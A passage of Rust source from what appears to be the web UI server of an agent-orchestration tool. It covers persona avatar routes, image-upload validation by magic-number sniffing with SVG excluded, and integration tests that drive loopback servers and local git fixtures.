10888    blocking(move || {
10889        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10890            Ok(()) => (),
10891            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10892            Err(e) => return Err(anyhow::Error::from(e).into()),
10893        }
10894        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10895    })
10896    .await
10897}
10898
10899async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10900    let icon = (q.builtin.is_none())
10901        .then(|| read_magi_icon(&ui.home))
10902        .flatten();
10903    let mut response = match icon
10904        .as_deref()
10905        .and_then(|icon| persona_icon::load(icon).ok())
10906    {
10907        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10908            attachment_response(mime, bytes)
10909        }
10910        _ => svg_avatar(persona_icon::magi_svg()),
10911    };
10912    response
10913        .headers_mut()
10914        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10915    response
10916}
10917
10918/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10919/// operator's raster `icon` when it resolves and its bytes agree with its
10920/// type, the built-in SVG otherwise. Display only; every failure is a warning
10921/// and the built-in avatar, never an error response.
10922async fn talk_avatar(
10923    State(ui): State<Arc<Ui>>,
10924    Path(id): Path<String>,
10925    Query(q): Query<AvatarQuery>,
10926) -> ApiResult<Response> {
10927    blocking(move || {
10928        let id = resolve_talk(&ui.talks, &id)?;
10929        let talk = ui.talks.get(&id)?;
10930        let wanted = q
10931            .persona
10932            .as_deref()
10933            .map(str::trim)
10934            .filter(|p| !p.is_empty())
10935            .unwrap_or(&talk.persona)
10936            .to_owned();
10937        let specs = match Config::discover(&talk.repo, None) {
10938            Ok((cfg, _)) => cfg.talk.personas,
10939            Err(e) => {
10940                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10941                Vec::new()
10942            }
10943        };
10944        let found = persona::find(&specs, &wanted);
10945        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10946        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10947        let icon = effective_persona_icon(
10948            &ui.home,
10949            &wanted,
10950            found.as_ref().and_then(|p| p.icon.as_deref()),
10951        );
10952        if found.is_none() && icon.is_none() {
10953            return Ok(builtin_avatar(persona::DEFAULT_ID));
10954        }
10955        let Some(icon) = icon
10956            .as_deref()
10957            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10958        else {
10959            return Ok(builtin_avatar(&wanted));
10960        };
10961        let Some(found) = found else {
10962            return Ok(raster_or_builtin(
10963                Some(icon),
10964                persona_icon::builtin_svg(&wanted),
10965            ));
10966        };
10967        match persona_icon::load(icon) {
10968            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10969                let mut res = attachment_response(mime, bytes);
10970                res.headers_mut().insert(
10971                    header::CACHE_CONTROL,
10972                    header::HeaderValue::from_static("no-cache"),
10973                );
10974                Ok(res)
10975            }
10976            Ok((mime, _)) => {
10977                tracing::warn!(
10978                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10979                    found.id
10980                );
10981                Ok(builtin_avatar(&found.id))
10982            }
10983            Err(e) => {
10984                tracing::warn!(
10985                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10986                    found.id
10987                );
10988                Ok(builtin_avatar(&found.id))
10989            }
10990        }
10991    })
10992    .await
10993}
10994
10995/// Validate an attachment upload's declared `Content-Type` and the bytes
10996/// themselves, returning the canonical mime on success.
10997///
10998/// Two checks, both required: the header has to name one of
10999/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11000/// simply never in the list, active content rather than a picture, the same
11001/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11002/// magic number has to agree. The second is what stops a mislabeled upload -
11003/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11004/// a declared type is a claim, not a fact, so it is never trusted alone.
11005fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11006    if data.len() > ATTACHMENT_MAX_BYTES {
11007        return Err(ApiError::bad_request(format!(
11008            "attachment is {} bytes, over the {} MiB limit",
11009            data.len(),
11010            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11011        ))
11012        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11013    }
11014    if data.is_empty() {
11015        return Err(ApiError::bad_request("attachment is empty"));
11016    }
11017    let declared = declared_mime(headers)?;
11018    match sniffed_mime(data) {
11019        Some(sniffed) if sniffed == declared => Ok(declared),
11020        Some(sniffed) => Err(ApiError::bad_request(format!(
11021            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11022        ))),
11023        None => Err(ApiError::bad_request(
11024            "the file's bytes do not match any accepted image format",
11025        )),
11026    }
11027}
11028
11029/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11030/// and nothing else - parameters like `; charset=` are stripped, but the
11031/// value itself is not otherwise interpreted.
11032fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11033    let raw = headers
11034        .get(header::CONTENT_TYPE)
11035        .and_then(|v| v.to_str().ok())
11036        .unwrap_or("")
11037        .split(';')
11038        .next()
11039        .unwrap_or("")
11040        .trim()
11041        .to_ascii_lowercase();
11042    ATTACHMENT_MIME_WHITELIST
11043        .iter()
11044        .find(|&&m| m == raw)
11045        .copied()
11046        .ok_or_else(|| {
11047            if raw == "image/svg+xml" {
11048                ApiError::bad_request(
11049                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11050                     not just a picture",
11051                )
11052            } else if raw.is_empty() {
11053                ApiError::bad_request("Content-Type is required for an attachment upload")
11054            } else {
11055                ApiError::bad_request(format!(
11056                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11057                     image/gif or image/webp"
11058                ))
11059            }
11060        })
11061}
11062
11063/// Identify an image by its magic number, independent of whatever
11064/// `Content-Type` claimed.
11065fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11066    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11067        Some("image/png")
11068    } else if data.starts_with(b"\xff\xd8\xff") {
11069        Some("image/jpeg")
11070    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11071        Some("image/gif")
11072    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11073        Some("image/webp")
11074    } else {
11075        None
11076    }
11077}
11078
11079/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11080/// display - see [`talk::Attachment::name`]'s doc on why it never
11081/// contributes to a path. A missing or blank header (curl without it, an
11082/// older front end) falls back to a generic name rather than refusing the
11083/// upload over a field that is cosmetic.
11084fn filename_header(headers: &HeaderMap) -> String {
11085    headers
11086        .get(FILENAME_HEADER)
11087        .and_then(|v| v.to_str().ok())
11088        .map(str::trim)
11089        .filter(|s| !s.is_empty())
11090        .unwrap_or("attachment")
11091        .to_owned()
11092}
11093
11094/// Every attachment `GET` response: the mime re-validated against the same
11095/// closed whitelist the upload route enforces - never the string trusted
11096/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11097/// cannot decide it knows better than the type we send. Unlike a panel asset
11098/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11099/// document renders inline, not agent-authored HTML in a sandboxed frame.
11100fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11101    let content_type = ATTACHMENT_MIME_WHITELIST
11102        .iter()
11103        .find(|&&m| m == mime)
11104        .copied()
11105        .unwrap_or("application/octet-stream");
11106    (
11107        [
11108            (header::CONTENT_TYPE, content_type),
11109            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11110        ],
11111        body,
11112    )
11113        .into_response()
11114}
11115
11116/// The configuration for a repository, read off the disk for this request.
11117///
11118/// Through [`blocking`] because discovery reads and merges several TOML files,
11119/// and because the alternative - caching it in [`Ui`] at startup - would mean
11120/// the operator's phone kept interviewing with a roster they had already
11121/// changed, with no way to reload it but restarting the server they are not
11122/// sitting in front of.
11123async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11124    let repo = repo.to_path_buf();
11125    blocking(move || {
11126        let (cfg, _) = Config::discover(&repo, None)?;
11127        Ok(cfg)
11128    })
11129    .await
11130}
11131
11132/// The one prefix rule, used for both runs and tasks: a leading match for a
11133/// full id, a trailing match for the short form an operator reads off a
11134/// report. Written here rather than borrowed from `queue::resolve_id` because
11135/// the UI needs the two failures as different status codes, and telling them
11136/// apart from an error message is not something to build a route on.
11137fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11138    let mut hits = ids
11139        .into_iter()
11140        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11141    match (hits.next(), hits.next()) {
11142        (Some(one), None) => Ok(one),
11143        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11144        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11145            "`{prefix}` matches more than one {what}, including {a} and {b}"
11146        ))),
11147    }
11148}
11149
11150#[cfg(test)]
11151mod tests {
11152
11153    #[test]
11154    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11155        let dir = tempfile::tempdir().unwrap();
11156        let store = ask::Questions::at(dir.path().join("questions"));
11157        let mut q = Question::new(
11158            "task".to_owned(),
11159            "conduct".to_owned(),
11160            "conduct".to_owned(),
11161            "choose".to_owned(),
11162            String::new(),
11163            vec!["keep".to_owned()],
11164        );
11165        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11166        q.say("why?").unwrap();
11167        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11168        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11169        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11170        store.put(&mut q).unwrap();
11171        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11172        assert_eq!(store.count_needs_owner(), 1);
11173        store.beat(&q.id, ask::WaiterKind::Deputy);
11174        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11175        assert_eq!(store.count_needs_owner(), 0);
11176        let mut stale = store.read_lease(&q.id).unwrap();
11177        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11178        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11179        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11180        assert!(view.deputy_exhausted);
11181        assert!(view.waiting_on_agent);
11182        assert_eq!(view.question.choices, ["keep"]);
11183        store.drop_lease(&q.id);
11184        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11185        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11186    }
11187
11188    #[test]
11189    fn holder_reads_the_lease_not_the_record() {
11190        let mut q = Question::new(
11191            "run".to_owned(),
11192            "implement".to_owned(),
11193            "impl-A".to_owned(),
11194            "which?".to_owned(),
11195            String::new(),
11196            Vec::new(),
11197        );
11198        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11199        q.cwd = Some("/tmp".to_owned());
11200        assert_eq!(holder_of(&q, None), Some("nobody"));
11201        let beat = |kind, ago: i64| ask::Lease {
11202            kind,
11203            pid: 1,
11204            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11205                .unwrap(),
11206        };
11207        let fresh = beat(ask::WaiterKind::Asker, 1);
11208        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11209        let daemon = beat(ask::WaiterKind::Daemon, 1);
11210        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11211        let stale = beat(ask::WaiterKind::Asker, 3600);
11212        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11213
11214        // A conductor question says "deputy" only while one is attached and
11215        // alive, and "nobody" - never silence - when nothing ever listened.
11216        let mut c = Question::new(
11217            "task".to_owned(),
11218            crate::conduct::NODE.to_owned(),
11219            "conduct".to_owned(),
11220            "which?".to_owned(),
11221            String::new(),
11222            Vec::new(),
11223        );
11224        assert_eq!(holder_of(&c, None), Some("nobody"));
11225        c.cwd = Some("/tmp".to_owned());
11226        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11227        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11228        let deputy = beat(ask::WaiterKind::Deputy, 1);
11229        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11230        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11231
11232        // A release-watch question: nobody until a deputy is attached.
11233        let mut r = Question::new(
11234            String::new(),
11235            crate::bump::NOTICE_NODE.to_owned(),
11236            "release-watch".to_owned(),
11237            "stuck?".to_owned(),
11238            String::new(),
11239            vec!["hold".to_owned()],
11240        );
11241        assert_eq!(holder_of(&r, None), Some("nobody"));
11242        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11243        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11244        // A choice-less bump notice is nobody's question at all.
11245        r.deputy = None;
11246        r.seat = "bump".to_owned();
11247        assert_eq!(holder_of(&r, None), None);
11248
11249        // A merge approval is the same: nobody until a deputy is attached
11250        // and alive, never a silent "no holder".
11251        let mut m = Question::new(
11252            "run".to_owned(),
11253            crate::land::APPROVAL_NODE.to_owned(),
11254            "land".to_owned(),
11255            "merge?".to_owned(),
11256            String::new(),
11257            Vec::new(),
11258        );
11259        assert_eq!(holder_of(&m, None), Some("nobody"));
11260        assert_eq!(
11261            holder_of(&m, Some(&fresh)),
11262            Some("asker"),
11263            "a live explicit wait is a listener even before a deputy is attached"
11264        );
11265        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11266        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11267        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11268        assert_eq!(holder_of(&m, None), Some("nobody"));
11269    }
11270
11271    fn stub_config() -> Config {
11272        // An explicit roster, so the result never depends on which agent CLIs
11273        // this machine has installed.
11274        Config {
11275            agents: vec![crate::config::AgentSpec {
11276                id: "stub".to_owned(),
11277                kind: AgentKind::Command,
11278                model: None,
11279                command: vec!["true".to_owned()],
11280                extra_args: Vec::new(),
11281                env: Default::default(),
11282                prompt_delivery: None,
11283                max_turn_secs: None,
11284            }],
11285            ..Config::default()
11286        }
11287    }
11288
11289    fn plain_question(seat: &str) -> Question {
11290        Question::new(
11291            String::new(),
11292            "n".to_owned(),
11293            seat.to_owned(),
11294            "s".to_owned(),
11295            String::new(),
11296            Vec::new(),
11297        )
11298    }
11299
11300    #[test]
11301    fn deputies_enabled_follows_the_config() {
11302        let on = stub_config();
11303        assert!(crate::deputy::can_start(Some(&on), ""));
11304        assert!(crate::deputy::can_start(Some(&on), "stub"));
11305        let mut off = on.clone();
11306        off.daemon.max_deputies = 0;
11307        assert!(!crate::deputy::can_start(Some(&off), ""));
11308        let mut empty = on;
11309        empty.agents.clear();
11310        assert!(!crate::deputy::can_start(Some(&empty), ""));
11311        assert!(!crate::deputy::can_start(None, ""));
11312    }
11313
11314    #[test]
11315    fn question_views_load_the_config_once() {
11316        let dir = TempDir::new().unwrap();
11317        let store = ask::Questions::at(dir.path().to_path_buf());
11318        let mut with_deputy = plain_question("b");
11319        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11320        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11321
11322        let calls = std::cell::Cell::new(0usize);
11323        let views = question_views(qs.clone(), &store, || {
11324            calls.set(calls.get() + 1);
11325            Some(stub_config())
11326        });
11327        assert_eq!(calls.get(), 1);
11328        assert_eq!(views.len(), 3);
11329        for (v, q) in views.iter().zip(&qs) {
11330            assert_eq!(
11331                v.deputies_enabled,
11332                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11333            );
11334        }
11335
11336        let views = question_views(qs, &store, || None);
11337        assert!(views.iter().all(|v| !v.deputies_enabled));
11338
11339        let calls = std::cell::Cell::new(0usize);
11340        let views = question_views(Vec::new(), &store, || {
11341            calls.set(calls.get() + 1);
11342            None
11343        });
11344        assert!(views.is_empty());
11345        assert_eq!(calls.get(), 0);
11346    }
11347
11348    use pretty_assertions::assert_eq;
11349    use serde_json::Value;
11350    use tempfile::TempDir;
11351    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11352
11353    use super::*;
11354    use crate::config::Config;
11355    use crate::queue::Source;
11356
11357    /// How many 10ms steps a settle loop takes before it calls a stall a
11358    /// stall - thirty seconds.
11359    ///
11360    /// These loops wait on real `sh` subprocesses, and the machine that runs
11361    /// the gate runs several suites at once, so a two-second budget was not
11362    /// waiting for the reply, it was racing the scheduler: two of these
11363    /// tests failed under that load with the turn simply not landed yet.
11364    /// This is a hang guard, not a latency assertion - every loop breaks the
11365    /// moment its condition holds, so a generous cap costs an idle machine
11366    /// nothing and still fails a genuine hang instead of hanging the suite.
11367    const SETTLE_STEPS: usize = 3_000;
11368
11369    /// A home with a queue and a runs directory, and a router serving it on
11370    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11371    /// dependency, not ours - so the tests drive a real socket, which has the
11372    /// side benefit of asserting the status line and content types the phone
11373    /// actually receives.
11374    struct Fixture {
11375        home: TempDir,
11376        addr: SocketAddr,
11377    }
11378
11379    impl Fixture {
11380        async fn start() -> Self {
11381            Self::with_loop(launch_idle).await
11382        }
11383
11384        /// A fixture whose loop is `launch`.
11385        async fn with_loop(launch: Launch) -> Self {
11386            let home = TempDir::new().expect("temp home");
11387            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11388            Self { home, addr }
11389        }
11390
11391        /// A fixture whose `ui.repo` is a real directory rather than the
11392        /// usual placeholder - for the routes that read config off it
11393        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11394        async fn with_repo(repo: PathBuf) -> Self {
11395            let home = TempDir::new().expect("temp home");
11396            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11397            Self { home, addr }
11398        }
11399
11400        /// As [`Fixture::with_repo`], with the machine-config file the
11401        /// settings screen reads and writes.
11402        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11403            let home = TempDir::new().expect("temp home");
11404            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11405            Self { home, addr }
11406        }
11407
11408        async fn serve(
11409            home: &FsPath,
11410            repo: PathBuf,
11411            launch: Launch,
11412            machine: Option<PathBuf>,
11413        ) -> SocketAddr {
11414            let queue = Queue::at(home.join("queue"));
11415            let runs = home.join("runs");
11416            std::fs::create_dir_all(&runs).expect("runs dir");
11417            let worktrees = home.join("wt").join("magi");
11418            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11419            let ui = Ui::new(
11420                queue,
11421                Questions::at(home.join("questions")),
11422                Talks::at(home.join("talks")),
11423                runs,
11424                home.to_path_buf(),
11425                repo,
11426            )
11427            .with_worktrees_root(worktrees)
11428            .with_machine_config(machine)
11429            .with_launch(launch);
11430            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11431                .await
11432                .expect("bind loopback");
11433            let addr = listener.local_addr().expect("local addr");
11434            tokio::spawn(async move {
11435                let router = ui
11436                    .router()
11437                    .layer(axum::middleware::from_fn(request_cost::observe));
11438                let _ = axum::serve(listener, router).await;
11439            });
11440            addr
11441        }
11442
11443        fn queue(&self) -> Queue {
11444            Queue::at(self.home.path().join("queue"))
11445        }
11446
11447        fn questions(&self) -> Questions {
11448            Questions::at(self.home.path().join("questions"))
11449        }
11450
11451        fn talks(&self) -> Talks {
11452            Talks::at(self.home.path().join("talks"))
11453        }
11454
11455        fn runs(&self) -> PathBuf {
11456            self.home.path().join("runs")
11457        }
11458
11459        async fn get(&self, path: &str) -> Res {
11460            request(self.addr, "GET", path, None).await
11461        }
11462
11463        /// The status and headers without the body, which is how the front end
11464        /// preflights a panel: a sandboxed frame is opaque to the parent
11465        /// document, so the only way to tell "no panel" from "a panel that
11466        /// rendered blank" is to ask before mounting.
11467        async fn head(&self, path: &str) -> Res {
11468            request(self.addr, "HEAD", path, None).await
11469        }
11470
11471        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11472            request(self.addr, "POST", path, body).await
11473        }
11474
11475        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11476            request_with(self.addr, "GET", path, None, extra).await
11477        }
11478
11479        async fn delete(&self, path: &str) -> Res {
11480            request(self.addr, "DELETE", path, None).await
11481        }
11482
11483        async fn put(&self, path: &str, body: &str) -> Res {
11484            request(self.addr, "PUT", path, Some(body)).await
11485        }
11486
11487        /// `POST` a raw body with its own headers - see [`request_bytes`].
11488        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11489            request_bytes(self.addr, path, headers, body).await
11490        }
11491    }
11492
11493    /// Real tracking refs exercise the successful discovery path (including
11494    /// extraction), rather than counting cheap failures on a placeholder repo.
11495    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11496        let tmp = TempDir::new().unwrap();
11497        let mut repos = Vec::new();
11498        for name in ["one", "two"] {
11499            let repo = tmp.path().join(name);
11500            let origin = tmp.path().join(format!("{name}.git"));
11501            std::fs::create_dir_all(&repo).unwrap();
11502            crate::git::git(&repo, &["init", "-b", "main"])
11503                .await
11504                .unwrap();
11505            std::fs::write(
11506                repo.join("magi.toml"),
11507                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11508            )
11509            .unwrap();
11510            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11511            crate::git::git(
11512                &repo,
11513                &[
11514                    "-c",
11515                    "user.name=fixture",
11516                    "-c",
11517                    "user.email=fixture@example.invalid",
11518                    "commit",
11519                    "-m",
11520                    "fixture",
11521                ],
11522            )
11523            .await
11524            .unwrap();
11525            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11526                .await
11527                .unwrap();
11528            crate::git::git(
11529                &repo,
11530                &["remote", "add", "origin", origin.to_str().unwrap()],
11531            )
11532            .await
11533            .unwrap();
11534            crate::git::git(&repo, &["push", "origin", "main"])
11535                .await
11536                .unwrap();
11537            crate::git::git(
11538                &repo,
11539                &[
11540                    "symbolic-ref",
11541                    "refs/remotes/origin/HEAD",
11542                    "refs/remotes/origin/main",
11543                ],
11544            )
11545            .await
11546            .unwrap();
11547            let (cfg, _) = Config::discover(&repo, None).unwrap();
11548            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11549            repos.push(repo);
11550        }
11551        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11552        (tmp, repos)
11553    }
11554
11555    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11556        let (tmp, repos) = performance_repositories().await;
11557        let machine = tmp.path().join("machine.toml");
11558        std::fs::write(&machine, "").unwrap();
11559        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11560        (tmp, repos, fx)
11561    }
11562
11563    fn seed_performance(
11564        fx: &Fixture,
11565        repos: &[PathBuf; 2],
11566        questions: usize,
11567        runs: usize,
11568        items: usize,
11569    ) {
11570        // Saving states directly never starts a run or changes MAGI_HOME.
11571        for i in fx.questions().list().len()..questions {
11572            let mut question = Question::new(
11573                "20261001-000000-0000".into(),
11574                "implement".into(),
11575                "impl-A".into(),
11576                format!("question {i}"),
11577                "context".into(),
11578                vec!["yes".into(), "no".into()],
11579            );
11580            question.id = format!("20261003-000000-{i:04x}");
11581            fx.questions().put(&mut question).unwrap();
11582        }
11583        for i in run_ids(&fx.runs()).len()..runs {
11584            write_run_repo(
11585                &fx.runs(),
11586                &format!("20261001-000000-{i:04x}"),
11587                RunStatus::Ready,
11588                repos[i % 2].to_str().unwrap(),
11589            );
11590        }
11591        for i in fx.talks().list().len()..items {
11592            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11593            let mut talk = fx.talks().get(&id).unwrap();
11594            talk.repo = repos[i % 2].clone();
11595            fx.talks().put(&mut talk).unwrap();
11596            let mut task = crate::queue::Task::new(
11597                format!("task {i}"),
11598                "instruction".into(),
11599                repos[i % 2].clone(),
11600                crate::queue::Source::Agent {
11601                    run: id,
11602                    node: crate::queue::CHAT_NODE.into(),
11603                },
11604            );
11605            task.id = format!("20261004-000000-{i:04x}");
11606            fx.queue().put(&mut task).unwrap();
11607            // Notices has a production retention cap; seed up to that cap.
11608            if i < crate::notices::CAP {
11609                Notices::at(fx.home.path().join("notifications"))
11610                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11611                    .unwrap();
11612            }
11613        }
11614        assert_eq!(fx.questions().list().len(), questions);
11615        assert_eq!(run_ids(&fx.runs()).len(), runs);
11616        assert_eq!(fx.talks().list().len(), items);
11617        assert_eq!(fx.queue().list().len(), items);
11618        assert_eq!(
11619            Notices::at(fx.home.path().join("notifications"))
11620                .list()
11621                .len(),
11622            items.min(crate::notices::CAP)
11623        );
11624    }
11625
11626    #[tokio::test]
11627    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11628        let home = TempDir::new().unwrap();
11629        let root = home.path().canonicalize().unwrap();
11630        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11631        let fx = Fixture { home, addr };
11632        let repo = root.as_path().join("archive-repo");
11633        std::fs::create_dir(&repo).unwrap();
11634        crate::git::git(&repo, &["init", "-b", "main"])
11635            .await
11636            .unwrap();
11637        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11638            .await
11639            .unwrap();
11640        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11641            .await
11642            .unwrap();
11643        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11644            .await
11645            .unwrap();
11646        std::fs::write(repo.join("source"), "base").unwrap();
11647        crate::git::git(&repo, &["add", "."]).await.unwrap();
11648        crate::git::git(&repo, &["commit", "-m", "base"])
11649            .await
11650            .unwrap();
11651        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11652        std::fs::write(repo.join("source"), "archived review").unwrap();
11653        crate::git::git(&repo, &["commit", "-am", "review"])
11654            .await
11655            .unwrap();
11656        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11657        let mut config = Config::default();
11658        config.graph.worktree_root = Some(root.as_path().join("copies"));
11659        let mut state = RunState::new(
11660            repo.clone(),
11661            "main".into(),
11662            base.clone(),
11663            "archive".into(),
11664            config,
11665        );
11666        state.id = "20260101-000000-ef05".into();
11667        state.status = RunStatus::Ready;
11668        state.save_under(root.as_path()).unwrap();
11669        let evidence =
11670            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11671                .await
11672                .unwrap();
11673        let base_evidence =
11674            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11675                .await
11676                .unwrap();
11677        let source = state.worktree_root().join("review-1");
11678        let mut contents = std::collections::BTreeMap::new();
11679        contents.insert(
11680            repo.join("logs/HEAD"),
11681            format!("{base} {head} fixture\n").into_bytes(),
11682        );
11683        let record = serde_json::json!({
11684            "version":1, "run":state.id, "source":source, "head":head,
11685            "evidence":evidence, "admin":{}, "admin_contents":contents,
11686            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11687        });
11688        std::fs::write(
11689            fx.runs()
11690                .join(&state.id)
11691                .join("artifacts/eviction-review-1.json"),
11692            serde_json::to_vec(&record).unwrap(),
11693        )
11694        .unwrap();
11695        std::fs::remove_dir_all(&repo).unwrap();
11696        let url = format!("/api/runs/{}/seat-evidence", state.id);
11697        let list = fx.get(&url).await;
11698        assert_eq!(list.status, 200, "{}", list.body);
11699        assert_eq!(list.json()[&head], "review-1");
11700        let patch = fx.get(&format!("{url}/{head}")).await;
11701        assert_eq!(patch.status, 200, "{}", patch.body);
11702        assert!(patch.body.contains("+archived review"));
11703        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11704        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11705        assert_eq!(fx.get(&url).await.status, 404);
11706        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11707    }
11708
11709    fn request_counts(res: &Res) -> (usize, usize) {
11710        assert_eq!(res.status, 200, "{}", res.body);
11711        (
11712            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11713            res.header("x-test-git").unwrap().parse().unwrap(),
11714        )
11715    }
11716
11717    #[tokio::test]
11718    async fn list_request_cost_is_independent_of_record_count() {
11719        let (_tmp, repos, fx) = performance_fixture().await;
11720        let mut previous = None;
11721        for n in [4, 60] {
11722            seed_performance(&fx, &repos, n, n, n);
11723            let mut costs = Vec::new();
11724            for (path, discoveries) in [
11725                ("/api/questions", 1),
11726                ("/api/talks", 0),
11727                ("/api/health", 0),
11728                ("/api/stats", 1),
11729            ] {
11730                // Equal cold extraction caches at both scales; this also
11731                // bounds first-request cost instead of only warmed requests.
11732                for repo in &repos {
11733                    let cache = repo.join(".git/magi/config");
11734                    if cache.exists() {
11735                        std::fs::remove_dir_all(cache).unwrap();
11736                    }
11737                }
11738                let cost = request_counts(&fx.get(path).await);
11739                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11740                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11741                assert!(
11742                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11743                    "{path}: {cost:?}"
11744                );
11745                costs.push(cost);
11746            }
11747            if let Some(previous) = previous {
11748                assert_eq!(costs, previous);
11749            }
11750            previous = Some(costs);
11751        }
11752        // runs reads shared row inputs and probes process liveness; queue
11753        // builds one blocker inventory; notifications reads its own store.
11754        // None discovers configuration or spawns git per item.
11755    }
11756
